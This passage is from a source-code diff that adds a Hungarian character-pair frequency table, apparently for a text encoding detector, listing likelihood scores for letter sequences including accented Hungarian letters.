'ö' + 31: 2, # 'ú' + 29: 2, # 'ü' + 42: 1, # 'ő' + 56: 2, # 'ű' + }, + 4: { # 'n' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 3, # 'e' + 27: 2, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 3, # 'i' + 22: 2, # 'j' + 7: 3, # 'k' + 6: 2, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 2, # 'p' + 10: 2, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 2, # 'v' + 62: 1, # 'x' + 16: 3, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 2, # 'ó' + 24: 3, # 'ö' + 31: 2, # 'ú' + 29: 3, # 'ü' + 42: 2, # 'ő' + 56: 1, # 'ű' + }, + 8: { # 'o' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 1, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 2, # 'a' + 18: 3, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 2, # 'e' + 27: 2, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 2, # 'i' + 22: 2, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 1, # 'o' + 23: 3, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 2, # 'u' + 19: 3, # 'v' + 62: 1, # 'x' + 16: 1, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 23: { # 'p' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 1, # 'b' + 26: 2, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 2, # 'j' + 7: 2, # 'k' + 6: 3, # 'l' + 13: 1, # 'm' + 4: 2, # 'n' + 8: 3, # 'o' + 23: 3, # 'p' + 10: 3, # 'r' + 5: 2, # 's' + 3: 2, # 't' + 21: 3, # 'u' + 19: 2, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 2, # 'ó' + 24: 2, # 'ö' + 31: 1, # 'ú' + 29: 2, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 10: { # 'r' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 3, # 'e' + 27: 2, # 'f' + 12: 3, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 3, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 2, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 1, # 'x' + 16: 2, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 3, # 'ó' + 24: 3, # 'ö' + 31: 3, # 'ú' + 29: 3, # 'ü' + 42: 2, # 'ő' + 56: 2, # 'ű' + }, + 5: { # 's' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 2, # 'c' + 17: 2, # 'd' + 1: 3, # 'e' + 27: 2, # 'f' + 12: 2, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 1, # 'j' + 7: 3, # 'k' + 6: 2, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 2, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 2, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 3, # 'í' + 25: 3, # 'ó' + 24: 3, # 'ö' + 31: 3, # 'ú' + 29: 3, # 'ü' + 42: 2, # 'ő' + 56: 1, # 'ű' + }, + 3: { # 't' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 2, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 2, # 'f' + 12: 1, # 'g' + 20: 3, # 'h' + 9: 3, # 'i' + 22: 3, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 3, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 3, # 'ó' + 24: 3, # 'ö' + 31: 3, # 'ú' + 29: 3, # 'ü' + 42: 3, # 'ő' + 56: 2, # 'ű' + }, + 21: { # 'u' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 2, # 'b' + 26: 2, # 'c' + 17: 3, # 'd' + 1: 2, # 'e' + 27: 1, # 'f' + 12: 3, # 'g' + 20: 2, # 'h' + 9: 2, # 'i' + 22: 2, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 1, # 'o' + 23: 2, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 1, # 'u' + 19: 3, # 'v' + 62: 1, # 'x' + 16: 1, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 2, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 0, # 'ö' + 31: 1, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 19: { # 'v' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 2, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 3, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 1, # 'r' + 5: 2, # 's' + 3: 2, # 't' + 21: 2, # 'u' + 19: 2, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 2, # 'ó' + 24: 2, # 'ö' + 31: 1, # 'ú' + 29: 2, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 62: { # 'x' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 0, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 1, # 'i' + 22: 0, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 1, # 'o' + 23: 1, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 16: { # 'y' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 2, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 2, # 'f' + 12: 2, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 2, # 'j' + 7: 2, # 'k' + 6: 2, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 2, # 'p' + 10: 2, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 2, # 'ó' + 24: 3, # 'ö' + 31: 2, # 'ú' + 29: 2, # 'ü' + 42: 1, # 'ő' + 56: 2, # 'ű' + }, + 11: { # 'z' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 2, # 'b' + 26: 1, # 'c' + 17: 3, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 2, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 1, # 'j' + 7: 3, # 'k' + 6: 2, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 2, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 3, # 'í' + 25: 3, # 'ó' + 24: 3, # 'ö' + 31: 2, # 'ú' + 29: 3, # 'ü' + 42: 2, # 'ő' + 56: 1, # 'ű' + }, + 51: { # 'Á' + 28: 0, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 0, # 'E' + 50: 1, # 'F' + 49: 2, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 2, # 'L' + 34: 1, # 'M' + 35: 2, # 'N' + 47: 0, # 'O' + 46: 1, # 'P' + 43: 2, # 'R' + 33: 2, # 'S' + 37: 1, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 0, # 'e' + 27: 0, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 0, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 2, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 1, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 44: { # 'É' + 28: 0, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 1, # 'E' + 50: 0, # 'F' + 49: 2, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 2, # 'L' + 34: 1, # 'M' + 35: 2, # 'N' + 47: 0, # 'O' + 46: 1, # 'P' + 43: 2, # 'R' + 33: 2, # 'S' + 37: 2, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 0, # 'e' + 27: 0, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 0, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 2, # 'l' + 13: 1, # 'm' + 4: 2, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 3, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 0, # 'Á' + 44: 1, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 61: { # 'Í' + 28: 0, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 0, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 1, # 'J' + 36: 0, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 0, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 0, # 'e' + 27: 0, # 'f' + 12: 2, # 'g' + 20: 0, # 'h' + 9: 0, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 1, # 'm' + 4: 0, # 'n' + 8: 0, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 0, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 58: { # 'Ó' + 28: 1, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 0, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 2, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 0, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 0, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 2, # 'h' + 9: 0, # 'i' + 22: 0, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 0, # 't' + 21: 0, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 1, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 59: { # 'Ö' + 28: 0, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 0, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 0, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 0, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 0, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 0, # 'i' + 22: 0, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 0, # 'o' + 23: 0, # 'p' + 10: 2, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 60: { # 'Ú' + 28: 0, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 0, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 0, # 'e' + 27: 0, # 'f' + 12: 2, # 'g' + 20: 0, # 'h' + 9: 0, # 'i' + 22: 2, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 8: 0, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 63: { # 'Ü' + 28: 0, # 'A' + 40: 1, # 'B' + 54: 0, # 'C' + 45: 1, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 0, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 0, # 'c' + 17: 1, # 'd' + 1: 0, # 'e' + 27: 0, # 'f' + 12: 1, # 'g' + 20: 0, # 'h' + 9: 0, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 8: 0, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 14: { # 'á' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 3, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 1, # 'e' + 27: 2, # 'f' + 12: 3, # 'g' + 20: 2, # 'h' + 9: 2, # 'i' + 22: 3, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 1, # 'o' + 23: 2, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 2, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 0, # 'ó' + 24: 1, # 'ö' + 31: 0, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 15: { # 'é' + 28: 0, 